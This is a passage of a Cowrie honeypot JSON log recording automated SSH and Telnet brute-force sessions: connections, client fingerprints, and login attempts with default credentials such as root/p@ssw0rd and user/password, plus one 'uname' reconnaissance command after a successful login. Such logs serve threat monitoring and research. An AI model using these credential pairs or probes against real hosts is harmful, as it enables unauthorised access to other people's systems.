0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:03.167407Z","src_ip":"176.65.132.129","session":"ba47dc1fa1b8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"*****","message":"login attempt [steam/*****] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:03.414577Z","src_ip":"176.65.132.129","session":"ba47dc1fa1b8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:03.618304Z","src_ip":"176.65.132.129","session":"ba47dc1fa1b8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:03.622067Z","src_ip":"176.65.132.129","session":"ba47dc1fa1b8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:03.708471Z","src_ip":"176.65.132.129","session":"ba47dc1fa1b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:03.714502Z","src_ip":"176.65.132.129","session":"ba47dc1fa1b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":49668,"dst_ip":"10.17.0.5","dst_port":23,"session":"38ae0ee5ec33","protocol":"telnet","message":"New connection: 45.58.127.90:49668 (10.17.0.5:23) [session: 38ae0ee5ec33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:03.918810Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":48858,"dst_ip":"159.203.135.109","dst_port":22,"session":"d773b8832867","protocol":"ssh","message":"New connection: 176.65.132.129:48858 (159.203.135.109:22) [session: d773b8832867]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:06.418025Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:06.423439Z","src_ip":"176.65.132.129","session":"d773b8832867","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:06.506069Z","src_ip":"176.65.132.129","session":"d773b8832867","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@ssw0rd","message":"login attempt [root/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:06.912376Z","src_ip":"176.65.132.129","session":"d773b8832867","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:07.996958Z","src_ip":"176.65.132.129","session":"d773b8832867","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.08111786842346,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:09.188296Z","src_ip":"45.58.127.90","session":"fdf0722c8ecd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":48870,"dst_ip":"159.203.135.109","dst_port":22,"session":"64a398c51a74","protocol":"ssh","message":"New connection: 176.65.132.129:48870 (159.203.135.109:22) [session: 64a398c51a74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:09.852906Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:09.859821Z","src_ip":"176.65.132.129","session":"64a398c51a74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:09.936886Z","src_ip":"176.65.132.129","session":"64a398c51a74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwer1234","message":"login attempt [ubuntu/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:10.280595Z","src_ip":"176.65.132.129","session":"64a398c51a74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:11.366974Z","src_ip":"176.65.132.129","session":"64a398c51a74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":48874,"dst_ip":"159.203.135.109","dst_port":22,"session":"f9ea0b99e547","protocol":"ssh","message":"New connection: 176.65.132.129:48874 (159.203.135.109:22) [session: f9ea0b99e547]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:13.262777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:13.266495Z","src_ip":"176.65.132.129","session":"f9ea0b99e547","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:13.348359Z","src_ip":"176.65.132.129","session":"f9ea0b99e547","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123","message":"login attempt [user1/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:13.596475Z","src_ip":"176.65.132.129","session":"f9ea0b99e547","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:14.681176Z","src_ip":"176.65.132.129","session":"f9ea0b99e547","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":56066,"dst_ip":"10.17.0.5","dst_port":23,"session":"68bfdc4b9895","protocol":"telnet","message":"New connection: 45.58.127.90:56066 (10.17.0.5:23) [session: 68bfdc4b9895]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:15.414485Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57930,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1a41a462124","protocol":"ssh","message":"New connection: 176.65.132.129:57930 (159.203.135.109:22) [session: d1a41a462124]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:16.605884Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:16.610553Z","src_ip":"176.65.132.129","session":"d1a41a462124","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:16.693878Z","src_ip":"176.65.132.129","session":"d1a41a462124","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"test1","message":"login attempt [test1/test1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:16.942291Z","src_ip":"176.65.132.129","session":"d1a41a462124","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:18.026941Z","src_ip":"176.65.132.129","session":"d1a41a462124","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57934,"dst_ip":"159.203.135.109","dst_port":22,"session":"d0cf8b0fe96d","protocol":"ssh","message":"New connection: 176.65.132.129:57934 (159.203.135.109:22) [session: d0cf8b0fe96d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:20.028419Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:20.165043Z","src_ip":"176.65.132.129","session":"d0cf8b0fe96d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:20.169337Z","src_ip":"176.65.132.129","session":"d0cf8b0fe96d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":44366,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef585f230938","protocol":"telnet","message":"New connection: 45.58.127.90:44366 (10.17.0.5:23) [session: ef585f230938]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:20.502070Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"password","message":"login attempt [user/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:20.559652Z","src_ip":"176.65.132.129","session":"d0cf8b0fe96d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:21.644447Z","src_ip":"176.65.132.129","session":"d0cf8b0fe96d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":56848,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f95741bbcee","protocol":"ssh","message":"New connection: 194.59.206.2:56848 (10.17.0.5:22) [session: 5f95741bbcee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:22.998701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:23.004490Z","src_ip":"194.59.206.2","session":"5f95741bbcee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:23.095035Z","src_ip":"194.59.206.2","session":"5f95741bbcee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:23.189722Z","src_ip":"194.59.206.2","session":"5f95741bbcee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57946,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf04ae5784a8","protocol":"ssh","message":"New connection: 176.65.132.129:57946 (159.203.135.109:22) [session: cf04ae5784a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:23.539827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:23.543930Z","src_ip":"176.65.132.129","session":"cf04ae5784a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:23.628783Z","src_ip":"176.65.132.129","session":"cf04ae5784a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"runner","message":"login attempt [runner/runner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:23.874834Z","src_ip":"176.65.132.129","session":"cf04ae5784a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:24.960632Z","src_ip":"176.65.132.129","session":"cf04ae5784a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":42722,"dst_ip":"159.203.135.109","dst_port":22,"session":"34744da2cfb5","protocol":"ssh","message":"New connection: 176.65.132.129:42722 (159.203.135.109:22) [session: 34744da2cfb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:26.880481Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:26.885730Z","src_ip":"176.65.132.129","session":"34744da2cfb5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa